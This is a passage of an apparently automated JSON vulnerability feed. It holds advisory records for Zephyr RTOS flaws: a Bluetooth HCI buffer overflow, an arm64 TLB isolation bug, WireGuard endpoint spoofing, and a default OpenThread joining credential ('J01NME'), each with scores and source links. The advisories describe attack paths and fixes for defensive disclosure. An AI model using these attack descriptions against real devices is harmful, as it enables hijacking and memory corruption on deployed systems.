(npm)","@sveltejs/kit","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":0,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-27mw-82g8-phjj","asOf":"2026-10-23T20:43:31.000Z"},"epss":{"probability":0.00213,"percentile":0.11462,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114061&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-27mw-82g8-phjj","url":"https://github.com/advisories/GHSA-27mw-82g8-phjj","type":"primary","publishedAt":"2026-10-23T20:43:30.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-27mw-82g8-phjj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-27mw-82g8-phjj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-27mw-82g8-phjj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-27mw-82g8-phjj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-27mw-82g8-phjj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-27mw-82g8-phjj, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114061&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114061, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79982","cveId":"CVE-2026-79982","aliases":[],"kind":"vulnerability","title":"The Bluetooth HCI USB transport class of the new USB device stack, subsys/usb/device_next/class/bt_hci.c, copies every controller-to-host HCI packet into a USB transfer buffer...","summary":"The Bluetooth HCI USB transport class of the new USB device stack, subsys/usb/device_next/class/bt_hci.c, copies every controller-to-host HCI packet into a USB transfer buffer before enqueuing it on an endpoint. bt_hci_tx_sync_in() allocated that buffer from bt_hci_ep_pool, a fixed pool whose slots are only USBD_MAX_BULK_MPS bytes (64 on full-speed-only builds), and then performed net_buf_add_mem(buf, bt_buf->data, bt_buf->len) with no length check. HCI event and ACL buffers are sized by CONFIG_BT_BUF_EVT_RX_SIZE and CONFIG_BT_BUF_ACL_RX_SIZE and can be far larger, so the copy runs past the end of the 64-byte slot into the adjacent slots and into whatever follows the statically allocated pool.\n\nThe device runs the local Bluetooth controller in raw HCI mode (CONFIG_BT_HCI_RAW), so the oversized packets originate over the air. With the HCI buffer sizes recommended for full-featured controllers, an unauthenticated attacker within Bluetooth range can supply the overflowing bytes: a connected peer that negotiates Data Length Extension can send ACL fragments up to CONFIG_BT_CTLR_DATA_LENGTH_MAX bytes, and an attacker that merely broadcasts extended advertising data reaches the same path through LE Extended Advertising Report events, which the controller fragments only to CONFIG_BT_BUF_EVT_RX_SIZE. In the stock configuration the overflow is already reached without any radio traffic: the mandatory Read Supported Commands command-complete event is 70 bytes and overruns the 64-byte slot by six bytes on every host initialization.\n\nBecause net_buf_add_mem() validates tailroom only through an assertion unless CONFIG_NET_BUF_HARDENING is enabled, builds with CONFIG_ASSERT=n — the usual production setting — silently corrupt memory adjacent to the USB buffer pool with attacker-chosen contents, which on a target without memory protection between subsystems can lead to arbitrary code execution. Builds with assertions enabled fail the assertion instead and panic, giving a remotely triggerable denial of service. The fix introduces a separate bt_hci_tx_pool sized to MAX(BT_BUF_ACL_RX_SIZE, BT_BUF_EVT_RX_SIZE) for the controller-to-host direction while leaving the host-to-device pool","detail":"The Bluetooth HCI USB transport class of the new USB device stack, subsys/usb/device_next/class/bt_hci.c, copies every controller-to-host HCI packet into a USB transfer buffer before enqueuing it on an endpoint. bt_hci_tx_sync_in() allocated that buffer from bt_hci_ep_pool, a fixed pool whose slots are only USBD_MAX_BULK_MPS bytes (64 on full-speed-only builds), and then performed net_buf_add_mem(buf, bt_buf->data, bt_buf->len) with no length check. HCI event and ACL buffers are sized by CONFIG_BT_BUF_EVT_RX_SIZE and CONFIG_BT_BUF_ACL_RX_SIZE and can be far larger, so the copy runs past the end of the 64-byte slot into the adjacent slots and into whatever follows the statically allocated pool.\n\nThe device runs the local Bluetooth controller in raw HCI mode (CONFIG_BT_HCI_RAW), so the oversized packets originate over the air. With the HCI buffer sizes recommended for full-featured controllers, an unauthenticated attacker within Bluetooth range can supply the overflowing bytes: a connected peer that negotiates Data Length Extension can send ACL fragments up to CONFIG_BT_CTLR_DATA_LENGTH_MAX bytes, and an attacker that merely broadcasts extended advertising data reaches the same path through LE Extended Advertising Report events, which the controller fragments only to CONFIG_BT_BUF_EVT_RX_SIZE. In the stock configuration the overflow is already reached without any radio traffic: the mandatory Read Supported Commands command-complete event is 70 bytes and overruns the 64-byte slot by six bytes on every host initialization.\n\nBecause net_buf_add_mem() validates tailroom only through an assertion unless CONFIG_NET_BUF_HARDENING is enabled, builds with CONFIG_ASSERT=n — the usual production setting — silently corrupt memory adjacent to the USB buffer pool with attacker-chosen contents, which on a target without memory protection between subsystems can lead to arbitrary code execution. Builds with assertions enabled fail the assertion instead and panic, giving a remotely triggerable denial of service. The fix introduces a separate bt_hci_tx_pool sized to MAX(BT_BUF_ACL_RX_SIZE, BT_BUF_EVT_RX_SIZE) for the controller-to-host direction while leaving the host-to-device pool at the endpoint packet size, which is already bounds-checked during reassembly.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T20:17:28.167Z","updatedAt":"2026-10-26T13:52:21.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79982","asOf":"2026-10-26T13:52:21.763Z"},"epss":{"probability":0.00229,"percentile":0.13609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79982&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79982","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79982","type":"primary","publishedAt":"2026-10-23T20:17:28.167Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79982&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79982, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79979","cveId":"CVE-2026-79979","aliases":[],"kind":"vulnerability","title":"The arm64 MMU backend invalidates a single virtual address from the TLB with invalidate_tlb_page() in arch/arm64/core/mmu.c, which issued TLBI VAE1{IS} with an operand of virt >>...","summary":"The arm64 MMU backend invalidates a single virtual address from the TLB with invalidate_tlb_page() in arch/arm64/core/mmu.c, which issued TLBI VAE1{IS} with an operand of virt >> 12. That operand encodes the ASID in bits [63:48], so the invalidation only ever matched ASID 0 (the kernel page tables) and global entries. Memory domains, however, are allocated ASIDs starting at 1 in arch_mem_domain_init(), and every domain-private leaf created by private_map() is mapped with MT_NG, i.e. non-global. A domain's cached translation therefore survived the invalidation.\n\nAll callers of invalidate_tlb_page() are demand-paging paths. When the eviction algorithm reclaims a frame, page_frame_prepare_locked() in kernel/mmu.c calls arch_mem_page_out(), which marks the kernel leaf invalid, propagates the invalid descriptor into every domain via sync_domains(), and then flushes only ASID 0. do_page_fault() immediately reuses the very same page frame for the incoming mapping through arch_mem_page_in(). A user thread that had already touched the evicted page — a k_mem_partition added with arch_mem_domain_partition_add(), or its own stack mapped by map_thread_stack() — retains a valid EL0 read/write translation to that physical frame under its own ASID.\n\nUnprivileged code running in a user thread can drive memory pressure to force eviction and then keep accessing the stale address, obtaining read and write access to whatever the kernel subsequently placed in that frame: supervisor data, another memory domain's partition, or another thread's stack. This defeats the isolation that CONFIG_USERSPACE is meant to enforce, allowing information disclosure and memory corruption up to full compromise of the system.\n\nThe fix switches the implementation to TLBI VAAE1{IS}, which matches every ASID and both global and non-global entries, so no domain-tagged translation survives a page out, dirty-bit update or access-flag clear. Exploitation requires an arm64 build with both CONFIG_USERSPACE and CONFIG_DEMAND_PAGING enabled, an active backing store, and at least one demand-paged page that is also privately mapped into a user memory domain. The same commit additionally stops globalize_table() from","detail":"The arm64 MMU backend invalidates a single virtual address from the TLB with invalidate_tlb_page() in arch/arm64/core/mmu.c, which issued TLBI VAE1{IS} with an operand of virt >> 12. That operand encodes the ASID in bits [63:48], so the invalidation only ever matched ASID 0 (the kernel page tables) and global entries. Memory domains, however, are allocated ASIDs starting at 1 in arch_mem_domain_init(), and every domain-private leaf created by private_map() is mapped with MT_NG, i.e. non-global. A domain's cached translation therefore survived the invalidation.\n\nAll callers of invalidate_tlb_page() are demand-paging paths. When the eviction algorithm reclaims a frame, page_frame_prepare_locked() in kernel/mmu.c calls arch_mem_page_out(), which marks the kernel leaf invalid, propagates the invalid descriptor into every domain via sync_domains(), and then flushes only ASID 0. do_page_fault() immediately reuses the very same page frame for the incoming mapping through arch_mem_page_in(). A user thread that had already touched the evicted page — a k_mem_partition added with arch_mem_domain_partition_add(), or its own stack mapped by map_thread_stack() — retains a valid EL0 read/write translation to that physical frame under its own ASID.\n\nUnprivileged code running in a user thread can drive memory pressure to force eviction and then keep accessing the stale address, obtaining read and write access to whatever the kernel subsequently placed in that frame: supervisor data, another memory domain's partition, or another thread's stack. This defeats the isolation that CONFIG_USERSPACE is meant to enforce, allowing information disclosure and memory corruption up to full compromise of the system.\n\nThe fix switches the implementation to TLBI VAAE1{IS}, which matches every ASID and both global and non-global entries, so no domain-tagged translation survives a page out, dirty-bit update or access-flag clear. Exploitation requires an arm64 build with both CONFIG_USERSPACE and CONFIG_DEMAND_PAGING enabled, an active backing store, and at least one demand-paged page that is also privately mapped into a user memory domain. The same commit additionally stops globalize_table() from stripping EL0 permission and non-global attributes off domain-private leaves during paging synchronization, which previously caused user threads to lose access to their own partitions and stacks.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T20:17:27.783Z","updatedAt":"2026-10-26T13:52:21.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79979","asOf":"2026-10-26T13:52:21.763Z"},"epss":{"probability":0.00103,"percentile":0.00968,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79979&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79979","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79979","type":"primary","publishedAt":"2026-10-23T20:17:27.783Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79979&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79979, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79977","cveId":"CVE-2026-79977","aliases":[],"kind":"vulnerability","title":"The WireGuard VPN service in subsys/net/lib/wireguard/wg.c updated the peer endpoint from a message it could not authenticate.","summary":"The WireGuard VPN service in subsys/net/lib/wireguard/wg.c updated the peer endpoint from a message it could not authenticate. In handle_transport_data(), when the 32-bit receiver index of an incoming transport-data message matched no session, the code both scheduled a new handshake and copied the datagram's source address into peer->endpoint with memcpy(&peer->endpoint, peer_addr, sizeof(peer->endpoint)). Because the receiver index is unknown, there is no key with which such a message could be verified, so the address written into peer->endpoint is entirely attacker-supplied. Every other endpoint update in the implementation happens only after authentication — after the Noise handshake in handle_handshake_init(), or after AEAD decryption plus the anti-replay check in wg_process_data_message().\n\nThe WireGuard listener is registered with net_udp_register() using no remote address or port filter and defaults to UDP port 51820 (CONFIG_WIREGUARD_PORT), and wg_ctrl_recv() resolves the peer by interface rather than by any cryptographic identity. Any host able to send a UDP datagram to that port can therefore reach the defect off-path, with no need to observe legitimate traffic: a 16-byte datagram carrying the transport-data type, zeroed reserved bytes and an arbitrary receiver index is sufficient. The vulnerable branch runs whenever the peer has neither a valid handshake nor a current keypair — the state at boot and after a session expires.\n\nA single spoofed datagram redirects peer->endpoint to an address of the attacker's choosing, and all subsequent handshake initiations, keepalives and encrypted data packets are sent there. The legitimate peer never receives the initiations and so never re-authenticates, and nothing resets the endpoint afterwards, leaving the tunnel persistently unusable on devices whose peer does not initiate handshakes itself. The attacker can also relay the redirected initiations to the real peer to place itself in the path of the tunnel, observing ciphertext and traffic metadata and selectively dropping packets. WireGuard's end-to-end cryptography still prevents decryption or forgery of tunnel content, so the impact is loss of availability plus","detail":"The WireGuard VPN service in subsys/net/lib/wireguard/wg.c updated the peer endpoint from a message it could not authenticate. In handle_transport_data(), when the 32-bit receiver index of an incoming transport-data message matched no session, the code both scheduled a new handshake and copied the datagram's source address into peer->endpoint with memcpy(&peer->endpoint, peer_addr, sizeof(peer->endpoint)). Because the receiver index is unknown, there is no key with which such a message could be verified, so the address written into peer->endpoint is entirely attacker-supplied. Every other endpoint update in the implementation happens only after authentication — after the Noise handshake in handle_handshake_init(), or after AEAD decryption plus the anti-replay check in wg_process_data_message().\n\nThe WireGuard listener is registered with net_udp_register() using no remote address or port filter and defaults to UDP port 51820 (CONFIG_WIREGUARD_PORT), and wg_ctrl_recv() resolves the peer by interface rather than by any cryptographic identity. Any host able to send a UDP datagram to that port can therefore reach the defect off-path, with no need to observe legitimate traffic: a 16-byte datagram carrying the transport-data type, zeroed reserved bytes and an arbitrary receiver index is sufficient. The vulnerable branch runs whenever the peer has neither a valid handshake nor a current keypair — the state at boot and after a session expires.\n\nA single spoofed datagram redirects peer->endpoint to an address of the attacker's choosing, and all subsequent handshake initiations, keepalives and encrypted data packets are sent there. The legitimate peer never receives the initiations and so never re-authenticates, and nothing resets the endpoint afterwards, leaving the tunnel persistently unusable on devices whose peer does not initiate handshakes itself. The attacker can also relay the redirected initiations to the real peer to place itself in the path of the tunnel, observing ciphertext and traffic metadata and selectively dropping packets. WireGuard's end-to-end cryptography still prevents decryption or forgery of tunnel content, so the impact is loss of availability plus limited confidentiality, not key compromise.\n\nThe fix removes the endpoint learning from this path entirely: the stale-session recovery is kept, but the handshake is sent only to an endpoint learnt from an authenticated message, falling back to the configured cfg_endpoint, and the message is dropped when neither is known. CONFIG_WIREGUARD is marked experimental and is not enabled by default.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T20:17:27.523Z","updatedAt":"2026-10-26T13:52:21.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79977","asOf":"2026-10-26T13:52:21.763Z"},"epss":{"probability":0.00168,"percentile":0.05995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79977&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79977","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79977","type":"primary","publishedAt":"2026-10-23T20:17:27.523Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79977&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79977, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19741","cveId":"CVE-2026-19741","aliases":[],"kind":"vulnerability","title":"Zephyr's OpenThread integration defined CONFIG_OPENTHREAD_JOINER_PSKD with default \"J01NME\" in modules/openthread/Kconfig.thread (previously subsys/net/l2/openthread/Kconfig, then...","summary":"Zephyr's OpenThread integration defined CONFIG_OPENTHREAD_JOINER_PSKD with default \"J01NME\" in modules/openthread/Kconfig.thread (previously subsys/net/l2/openthread/Kconfig, then subsys/net/l2/openthread/Kconfig.thread). J01NME is the example Joining Device Credential used throughout the public OpenThread and Thread commissioning documentation, including Zephyr's own samples/net/sockets/echo_client/README.rst, so it is not a secret. A firmware image built with CONFIG_OPENTHREAD_JOINER_AUTOSTART=y that never overrode the PSKd therefore shipped with a publicly known joining credential compiled in, with no build-time or run-time warning.\n\nThe PSKd is the only value that authenticates Thread commissioning: joiner and commissioner run a DTLS-PSK handshake keyed on it, after which the commissioner supplies the full operational dataset. In ot_configure_instance() (modules/openthread/openthread.c), a device with no stored dataset calls otJoinerStart() with the configured PSKd, and ot_joiner_start_handler() calls otThreadSetEnabled() on success. An unauthenticated attacker within 802.15.4 radio range of an uncommissioned device (factory-fresh, after a factory reset, or after a settings erase) can run any stock Thread commissioner registered with J01NME, complete the handshake, and hand the device an attacker-controlled operational dataset.\n\nThe device then joins and enables Thread on the attacker's mesh. The attacker becomes its router, seeing, dropping, injecting and spoofing all of the device's IPv6 traffic and impersonating the peers the application expects, while the device is cut off from the network it was meant to join and stays mis-provisioned until it is reset. Only application-layer security with independently provisioned credentials survives. Exposure is limited to builds that enable joiner autostart and leave the PSKd unset; the option is not enabled by default and no in-tree sample uses the vulnerable combination.\n\nThe fix removes the default from CONFIG_OPENTHREAD_JOINER_PSKD and adds a BUILD_ASSERT() in modules/openthread/openthread.c, active only under CONFIG_OPENTHREAD_JOINER_AUTOSTART, that fails the build unless a 6-to-32-character PSKd is configured.","detail":"Zephyr's OpenThread integration defined CONFIG_OPENTHREAD_JOINER_PSKD with default \"J01NME\" in modules/openthread/Kconfig.thread (previously subsys/net/l2/openthread/Kconfig, then subsys/net/l2/openthread/Kconfig.thread). J01NME is the example Joining Device Credential used throughout the public OpenThread and Thread commissioning documentation, including Zephyr's own samples/net/sockets/echo_client/README.rst, so it is not a secret. A firmware image built with CONFIG_OPENTHREAD_JOINER_AUTOSTART=y that never overrode the PSKd therefore shipped with a publicly known joining credential compiled in, with no build-time or run-time warning.\n\nThe PSKd is the only value that authenticates Thread commissioning: joiner and commissioner run a DTLS-PSK handshake keyed on it, after which the commissioner supplies the full operational dataset. In ot_configure_instance() (modules/openthread/openthread.c), a device with no stored dataset calls otJoinerStart() with the configured PSKd, and ot_joiner_start_handler() calls otThreadSetEnabled() on success. An unauthenticated attacker within 802.15.4 radio range of an uncommissioned device (factory-fresh, after a factory reset, or after a settings erase) can run any stock Thread commissioner registered with J01NME, complete the handshake, and hand the device an attacker-controlled operational dataset.\n\nThe device then joins and enables Thread on the attacker's mesh. The attacker becomes its router, seeing, dropping, injecting and spoofing all of the device's IPv6 traffic and impersonating the peers the application expects, while the device is cut off from the network it was meant to join and stays mis-provisioned until it is reset. Only application-layer security with independently provisioned credentials survives. Exposure is limited to builds that enable joiner autostart and leave the PSKd unset; the option is not enabled by default and no in-tree sample uses the vulnerable combination.\n\nThe fix removes the default from CONFIG_OPENTHREAD_JOINER_PSKD and adds a BUILD_ASSERT() in modules/openthread/openthread.c, active only under CONFIG_OPENTHREAD_JOINER_AUTOSTART, that fails the build unless a 6-to-32-character PSKd is configured. Products should provision a per-device PSKd from factory data and call otJoinerStart() from the application rather than relying on a credential compiled identically into every unit.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-23T20:17:21.867Z","updatedAt":"2026-10-26T13:52:21.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19741","asOf":"2026-10-26T13:52:21.763Z"},"epss":{"probability":0.00171,"percentile":0.06408,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19741&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19741","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19741","type":"primary","publishedAt":"2026-10-23T20:17:21.867Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19741&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS 